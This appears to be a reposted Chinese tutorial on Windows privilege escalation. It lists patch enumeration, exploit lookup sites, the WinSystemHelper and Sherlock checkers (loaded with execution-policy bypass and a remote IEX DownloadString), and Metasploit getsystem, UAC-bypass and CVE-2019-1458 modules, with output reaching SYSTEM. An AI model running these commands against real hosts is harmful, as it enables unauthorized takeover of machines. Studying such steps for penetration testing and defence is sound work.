一、信息收集
收集本機systeminfo中補丁信息
在提權(quán)輔助平臺 https://i.hacking8.com/tiquan/ 中查詢可利用exp
查詢exp,選擇對應(yīng)的Exp下載運行
https://i.hacking8.com/
https://github.com/SecWiki/windows-kernel-exploits
提權(quán)Exp的運行方式,一般有以下幾種:
1、直接執(zhí)行exe程序,成功后會打開一個cmd窗口,在新窗口中權(quán)限就是system
2、在WebShell中執(zhí)行exe程序,執(zhí)行方式為xxx.exe whoami,成功后直接執(zhí)行命令,再修改命令內(nèi)容,可以執(zhí)行不同的命令
3、利用MSF等工具
4、C++源碼,Python腳本,PowerShell腳本等特殊方式
二、WinSystemHelper
使用WinSystemHelper檢查可利用的漏洞。該工具適合在任何Windows服務(wù)器上進行已知提權(quán)漏洞的檢測
https://github.com/brianwrf/WinSystemHelper
圖片
上傳WinSysHelper.bat、explt2003.txt、expgt2003.txt,運行bat查看結(jié)果
然后在可利用的Exp中任意下載一個并執(zhí)行即可
三、Sherlock
Sherlock是在Windows下用于本地提權(quán)的PowerShell腳本
分析漏洞出漏洞后利用對應(yīng)Exp即可
https://github.com/rasta-mouse/Sherlock
圖片
啟動Powershell
$ powershell.exe -exec bypass
本地加載腳本
$ Import-Module Sherlock.ps1
遠程加載腳本
$ IEX (New-Object System.Net.Webclient).DownloadString(‘https://raw.githubusercontent.com/rasta-mouse/Sherlock/master/Sherlock.ps1’)
檢查漏洞,Vulnstatus為Appears Vulnerable即存在漏洞
$ Find-AllVulns
四、MSF提權(quán)
Getsystem
meterpreter> getsystem
BypassUAC
use exploit/windows/local/bypassuac
use exploit/windows/local/bypassuac_injection
use windows/local/bypassuac_vbs
use windows/local/ask
meterpreter> background # 后臺session
msf> use exploit/windows/local/bypassuac
msf> set SESSION <session_id>
后臺session時會返回session_id,如不清楚可以使用命令sessions -l
msf> run
內(nèi)核提權(quán)
查詢補丁
meterpreter> run post/windows/gather/enum_patches
[+] KB2999226 installed on 11/25/2020
[+] KB976902 installed on 11/21/2010
查詢Exp文章來源:http://www.zghlxwxcb.cn/news/detail-717695.html
msf> use post/multi/recon/local_exploit_suggester
msf> set LHOST <攻擊機IP>
msf> set SESSION <session_id>
msf> run
利用示例文章來源地址http://www.zghlxwxcb.cn/news/detail-717695.html
msf> use exploit/windows/local/cve_2019_1458_wizardopium
msf> set SESSION <session_id>
msf> run
meterpreter> getuid
Server username: NT AUTHORITY\SYSTEM
五、參考鏈接
https://github.com/SecWiki/windows-kernel-exploits
https://github.com/brianwrf/WinSystemHelper
https://github.com/rasta-mouse/Sherlock
到了這里,關(guān)于Windows提權(quán)流程及手法的文章就介紹完了。如果您還想了解更多內(nèi)容,請在右上角搜索TOY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!